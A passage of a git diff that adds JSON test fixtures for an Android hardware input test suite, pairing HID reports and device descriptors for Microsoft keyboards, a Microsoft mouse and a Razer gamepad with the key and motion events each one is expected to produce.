+ [0x01, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x07, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "CTRL_LEFT", "metaState": "CTRL_LEFT"},
+ {"action": "DOWN", "keycode": "ALT_LEFT", "metaState": "CTRL_LEFT | ALT_LEFT"},
+ {"action": "DOWN", "keycode": "SHIFT_LEFT", "metaState": "CTRL_LEFT | ALT_LEFT | SHIFT_LEFT"},
+ {"action": "DOWN", "keycode": "P", "metaState": "CTRL_LEFT | ALT_LEFT | SHIFT_LEFT"},
+ {"action": "UP", "keycode": "P", "metaState": "CTRL_LEFT | ALT_LEFT | SHIFT_LEFT"},
+ {"action": "UP", "keycode": "SHIFT_LEFT", "metaState": "CTRL_LEFT | ALT_LEFT"},
+ {"action": "UP", "keycode": "CTRL_LEFT", "metaState": "ALT_LEFT"},
+ {"action": "UP", "keycode": "ALT_LEFT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press Right Ctrl + O",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x10, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "CTRL_RIGHT", "metaState": "CTRL_RIGHT"},
+ {"action": "DOWN", "keycode": "O", "metaState": "CTRL_RIGHT"},
+ {"action": "UP", "keycode": "O", "metaState": "CTRL_RIGHT"},
+ {"action": "UP", "keycode": "CTRL_RIGHT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press Right Shift + Y",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x20, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "SHIFT_RIGHT", "metaState": "SHIFT_RIGHT"},
+ {"action": "DOWN", "keycode": "Y", "metaState": "SHIFT_RIGHT"},
+ {"action": "UP", "keycode": "Y", "metaState": "SHIFT_RIGHT"},
+ {"action": "UP", "keycode": "SHIFT_RIGHT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press Right Alt + C",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x40, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "ALT_RIGHT", "metaState": "ALT_RIGHT"},
+ {"action": "DOWN", "keycode": "C", "metaState": "ALT_RIGHT"},
+ {"action": "UP", "keycode": "C", "metaState": "ALT_RIGHT"},
+ {"action": "UP", "keycode": "ALT_RIGHT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press E & R",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x08, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "E"},
+ {"action": "DOWN", "keycode": "R"},
+ {"action": "UP", "keycode": "E"},
+ {"action": "UP", "keycode": "R"}
+ ]
+ },
+ {
+ "name": "Press 6",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "KEYCODE_6"},
+ {"action": "UP", "keycode": "KEYCODE_6"}
+ ]
+ },
+ {
+ "name": "Press Right Shift + 4",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x20, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "SHIFT_RIGHT", "metaState": "SHIFT_RIGHT"},
+ {"action": "DOWN", "keycode": "KEYCODE_4", "metaState": "SHIFT_RIGHT"},
+ {"action": "UP", "keycode": "KEYCODE_4", "metaState": "SHIFT_RIGHT"},
+ {"action": "UP", "keycode": "SHIFT_RIGHT", "metaState": ""}
+ ]
+ },
+ {
+ "name": "Press -",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x2d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "MINUS"},
+ {"action": "UP", "keycode": "MINUS"}
+ ]
+ },
+ {
+ "name": "Press [",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "LEFT_BRACKET"},
+ {"action": "UP", "keycode": "LEFT_BRACKET"}
+ ]
+ },
+ {
+ "name": "Press ;",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "SEMICOLON"},
+ {"action": "UP", "keycode": "SEMICOLON"}
+ ]
+ },
+ {
+ "name": "Press ,",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "COMMA"},
+ {"action": "UP", "keycode": "COMMA"}
+ ]
+ },
+ {
+ "name": "Press .",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "PERIOD"},
+ {"action": "UP", "keycode": "PERIOD"}
+ ]
+ },
+ {
+ "name": "Press Space",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "SPACE"},
+ {"action": "UP", "keycode": "SPACE"}
+ ]
+ },
+ {
+ "name": "Press Enter",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "ENTER"},
+ {"action": "UP", "keycode": "ENTER"}
+ ]
+ },
+ {
+ "name": "Press Tab",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "TAB"},
+ {"action": "UP", "keycode": "TAB"}
+ ]
+ },
+ {
+ "name": "Press Esc",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "ESCAPE"},
+ {"action": "UP", "keycode": "ESCAPE"}
+ ]
+ },
+ {
+ "name": "Press Backspace",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "DEL"},
+ {"action": "UP", "keycode": "DEL"}
+ ]
+ },
+ {
+ "name": "Press F3",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "F3"},
+ {"action": "UP", "keycode": "F3"}
+ ]
+ },
+ {
+ "name": "Press F7",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "F7"},
+ {"action": "UP", "keycode": "F7"}
+ ]
+ },
+ {
+ "name": "Press Del",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x4c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "FORWARD_DEL"},
+ {"action": "UP", "keycode": "FORWARD_DEL"}
+ ]
+ },
+ {
+ "name": "Press Right Arrow",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "DPAD_RIGHT"},
+ {"action": "UP", "keycode": "DPAD_RIGHT"}
+ ]
+ },
+ {
+ "name": "Press Up Arrow",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "DPAD_UP"},
+ {"action": "UP", "keycode": "DPAD_UP"}
+ ]
+ },
+ {
+ "name": "Press Keypad Enter",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "NUMPAD_ENTER"},
+ {"action": "UP", "keycode": "NUMPAD_ENTER"}
+ ]
+ },
+ {
+ "name": "Press Keypad 1",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "NUMPAD_1"},
+ {"action": "UP", "keycode": "NUMPAD_1"}
+ ]
+ },
+ {
+ "name": "Press Keypad 3",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "NUMPAD_3"},
+ {"action": "UP", "keycode": "NUMPAD_3"}
+ ]
+ },
+ {
+ "name": "Press Keypad 5",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "NUMPAD_5"},
+ {"action": "UP", "keycode": "NUMPAD_5"}
+ ]
+ },
+ {
+ "name": "Press Keypad *",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "NUMPAD_MULTIPLY"},
+ {"action": "UP", "keycode": "NUMPAD_MULTIPLY"}
+ ]
+ },
+ {
+ "name": "Press Keypad +",
+ "source": "KEYBOARD | DPAD",
+ "reports": [
+ [0x01, 0x00, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "events": [
+ {"action": "DOWN", "keycode": "NUMPAD_ADD"},
+ {"action": "UP", "keycode": "NUMPAD_ADD"}
+ ]
+ }
+]
diff --git a/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json b/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json
new file mode 100644
index 0000000..a426740
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_designer_keyboard_register.json
@@ -0,0 +1,23 @@
+{
+ "id": 1,
+ "command": "register",
+ "name": "Designer Keyboard (Test)",
+ "vid": 0x045e,
+ "pid": 0x0806,
+ "descriptor": [
+ 0x06, 0xbc, 0xff, 0x09, 0x88, 0xa1, 0x01, 0x85, 0x22, 0x06, 0x00, 0xff,
+ 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x13, 0x0a, 0x0a, 0xfa,
+ 0xb1, 0x02, 0x85, 0x24, 0x06, 0x00, 0xff, 0x0a, 0x0a, 0xfa, 0xb1, 0x02,
+ 0x85, 0x27, 0x06, 0x00, 0xff, 0x0a, 0x0a, 0xfa, 0x95, 0x0b, 0x81, 0x02,
+ 0xc0, 0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x85, 0x01, 0x15, 0x00, 0x25,
+ 0x01, 0x05, 0x07, 0x1a, 0xe0, 0x00, 0x2a, 0xe7, 0x00, 0x75, 0x01, 0x95,
+ 0x08, 0x81, 0x02, 0x05, 0x07, 0x19, 0x00, 0x2a, 0x91, 0x00, 0x16, 0x00,
+ 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x0a, 0x81, 0x00, 0x05, 0x0c,
+ 0x0a, 0xc0, 0x02, 0xa1, 0x02, 0x1a, 0xc1, 0x02, 0x2a, 0xc6, 0x02, 0x95,
+ 0x06, 0xb1, 0x03, 0xc0, 0x05, 0x08, 0x75, 0x01, 0x95, 0x03, 0x19, 0x01,
+ 0x29, 0x03, 0x25, 0x01, 0x91, 0x02, 0x95, 0x05, 0x91, 0x01, 0xc0, 0x05,
+ 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x10, 0x19, 0x00, 0x2a, 0xff, 0x03,
+ 0x75, 0x0c, 0x95, 0x01, 0x15, 0x00, 0x26, 0xff, 0x03, 0x81, 0x00, 0x75,
+ 0x04, 0x95, 0x01, 0x81, 0x01, 0xc0
+ ]
+}
diff --git a/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json b/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
new file mode 100644
index 0000000..cfb7d4b
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_sculpttouch_motioneventtests.json
@@ -0,0 +1,123 @@
+[
+ {
+ "name": "Left click",
+ "reports": [
+ [0x1a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "MOUSE_RELATIVE",
+ "events": [
+ {
+ "action": "DOWN",
+ "buttonState": ["PRIMARY"],
+ "axes": {"AXIS_PRESSURE": 1}
+ },
+ {
+ "action": "BUTTON_PRESS",
+ "buttonState": ["PRIMARY"],
+ "axes": {"AXIS_PRESSURE": 1}
+ },
+ {"action": "BUTTON_RELEASE",
+ "axes": {"AXIS_PRESSURE": 0}
+ },
+ {"action": "UP",
+ "axes": {"AXIS_PRESSURE": 0}
+ }
+ ]
+ },
+ {
+ "name": "Right click",
+ "reports": [
+ [0x1a, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "MOUSE_RELATIVE",
+ "events": [
+ {
+ "action": "DOWN",
+ "buttonState": ["SECONDARY"],
+ "axes": {"AXIS_PRESSURE": 1}
+ },
+ {
+ "action": "BUTTON_PRESS",
+ "buttonState": ["SECONDARY"],
+ "axes": {"AXIS_PRESSURE": 1}
+ },
+ {"action": "BUTTON_RELEASE",
+ "axes": {"AXIS_PRESSURE": 0}
+ },
+ {"action": "UP",
+ "axes": {"AXIS_PRESSURE": 0}
+ }
+ ]
+ },
+ {
+ "name": "Middle click",
+ "reports": [
+ [0x1a, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x1a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "MOUSE_RELATIVE",
+ "events": [
+ {
+ "action": "DOWN",
+ "buttonState": ["TERTIARY"],
+ "axes": {"AXIS_PRESSURE": 1}
+ },
+ {
+ "action": "BUTTON_PRESS",
+ "buttonState": ["TERTIARY"],
+ "axes": {"AXIS_PRESSURE": 1}
+ },
+ {"action": "BUTTON_RELEASE",
+ "axes": {"AXIS_PRESSURE": 0}
+ },
+ {"action": "UP",
+ "axes": {"AXIS_PRESSURE": 0}
+ }
+ ]
+ },
+ {
+ "name": "Move",
+ "reports": [
+ [0x1a, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x1a, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x1a, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+ [0x1a, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00],
+ [0x1a, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00],
+ [0x1a, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00],
+ [0x1a, 0x00, 0x00, 0xff, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00]
+ ],
+ "source": "MOUSE_RELATIVE",
+ "events": [
+ {
+ "action": "MOVE",
+ "axes": {"AXIS_X": 1}
+ },
+ {
+ "action": "MOVE",
+ "axes": {"AXIS_X": 768}
+ },
+ {
+ "action": "MOVE",
+ "axes": {"AXIS_X": -768}
+ },
+ {
+ "action": "MOVE",
+ "axes": {"AXIS_Y": 768}
+ },
+ {
+ "action": "MOVE",
+ "axes": {"AXIS_Y": -768}
+ },
+ {
+ "action": "MOVE",
+ "axes": {"AXIS_X": 768, "AXIS_Y": 768}
+ },
+ {
+ "action": "MOVE",
+ "axes": {"AXIS_X": -768, "AXIS_Y": -768}
+ }
+ ]
+ }
+]
diff --git a/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json b/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
new file mode 100644
index 0000000..a9fd5ab
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_sculpttouch_register.json
@@ -0,0 +1,39 @@
+{
+ "id": 1,
+ "command": "register",
+ "name": "Microsoft Sculpt Touch Mouse (Test)",
+ "vid": 0x045e,
+ "pid": 0x077c,
+ "descriptor": [
+ 0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, 0x05, 0x01, 0x09, 0x02, 0xa1, 0x02,
+ 0x85, 0x1a, 0x09, 0x01, 0xa1, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x05,
+ 0x95, 0x05, 0x75, 0x01, 0x15, 0x00, 0x25, 0x01, 0x81, 0x02, 0x75, 0x03,
+ 0x95, 0x01, 0x81, 0x01, 0x05, 0x01, 0x09, 0x30, 0x09, 0x31, 0x95, 0x02,
+ 0x75, 0x10, 0x16, 0x01, 0x80, 0x26, 0xff, 0x7f, 0x81, 0x06, 0xa1, 0x02,
+ 0x85, 0x12, 0x09, 0x48, 0x95, 0x01, 0x75, 0x02, 0x15, 0x00, 0x25, 0x01,
+ 0x35, 0x01, 0x45, 0x10, 0xb1, 0x02, 0x85, 0x1a, 0x09, 0x38, 0x35, 0x00,
+ 0x45, 0x00, 0x95, 0x01, 0x75, 0x10, 0x16, 0x01, 0x80, 0x26, 0xff, 0x7f,
+ 0x81, 0x06, 0xc0, 0xa1, 0x02, 0x85, 0x12, 0x09, 0x48, 0x75, 0x02, 0x15,
+ 0x00, 0x25, 0x01, 0x35, 0x01, 0x45, 0x10, 0xb1, 0x02, 0x35, 0x00, 0x45,
+ 0x00, 0x75, 0x04, 0xb1, 0x01, 0x85, 0x1a, 0x05, 0x0c, 0x95, 0x01, 0x75,
+ 0x10, 0x16, 0x01, 0x80, 0x26, 0xff, 0x7f, 0x0a, 0x38, 0x02, 0x81, 0x06,
+ 0xc0, 0xc0, 0xc0, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x05, 0x01,
+ 0x09, 0x02, 0xa1, 0x02, 0x85, 0x1f, 0x05, 0x0c, 0x0a, 0x38, 0x02, 0x95,
+ 0x01, 0x75, 0x10, 0x16, 0x01, 0x80, 0x26, 0xff, 0x7f, 0x81, 0x06, 0x85,
+ 0x17, 0x06, 0x00, 0xff, 0x0a, 0x06, 0xff, 0x0a, 0x0f, 0xff, 0x15, 0x00,
+ 0x25, 0x01, 0x35, 0x01, 0x45, 0x10, 0x95, 0x02, 0x75, 0x02, 0xb1, 0x02,
+ 0x0a, 0x04, 0xff, 0x35, 0x00, 0x45, 0x00, 0x95, 0x01, 0x75, 0x01, 0xb1,
+ 0x02, 0x75, 0x03, 0xb1, 0x01, 0xc0, 0x85, 0x16, 0x05, 0x0c, 0x19, 0x00,
+ 0x2a, 0xff, 0x03, 0x95, 0x01, 0x75, 0x10, 0x15, 0x00, 0x26, 0xff, 0x03,
+ 0x81, 0x00, 0x06, 0x00, 0xff, 0x1a, 0x01, 0xfd, 0x2a, 0xff, 0xfd, 0x15,
+ 0x01, 0x26, 0xff, 0x00, 0x75, 0x08, 0x81, 0x00, 0x81, 0x01, 0xc0, 0x05,
+ 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x22, 0x06, 0x00, 0xff, 0x15, 0x00,
+ 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x17, 0x0a, 0x0a, 0xfa, 0xb1, 0x02,
+ 0x85, 0x24, 0x06, 0x00, 0xff, 0x95, 0x1f, 0x0a, 0x0a, 0xfa, 0xb1, 0x02,
+ 0x85, 0x27, 0x06, 0x00, 0xff, 0x0a, 0x0a, 0xfa, 0x81, 0x02, 0xc0, 0x05,
+ 0x01, 0x09, 0x06, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x07, 0x1a, 0xe0, 0x00,
+ 0x2a, 0xe7, 0x00, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x75, 0x08, 0x95,
+ 0x01, 0x81, 0x01, 0x19, 0x00, 0x2a, 0x91, 0x00, 0x26, 0xff, 0x00, 0x95,
+ 0x06, 0x81, 0x00, 0xc0
+ ]
+}
diff --git a/tests/tests/hardware/res/raw/razer_serval_keyeventtests.json b/tests/tests/hardware/res/raw/razer_serval_keyeventtests.json
new file mode 100644
index 0000000..eed99d7
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_serval_keyeventtests.json
@@ -0,0 +1,157 @@
+[
+ {
+ "name": "Press BUTTON_A",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_A"},
+ {"action": "UP", "keycode": "BUTTON_A"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_B",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_B"},
+ {"action": "UP", "keycode": "BUTTON_B"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_X",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x48, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
+ "source": "GAMEPAD | KEYBOARD",
+ "events": [
+ {"action": "DOWN", "keycode": "BUTTON_X"},
+ {"action": "UP", "keycode": "BUTTON_X"}
+ ]
+ },
+
+ {
+ "name": "Press BUTTON_Y",
+ "reports": [
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x88, 0x00, 0x00, 0x00, 0x00, 0xff],
+ [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+ ],
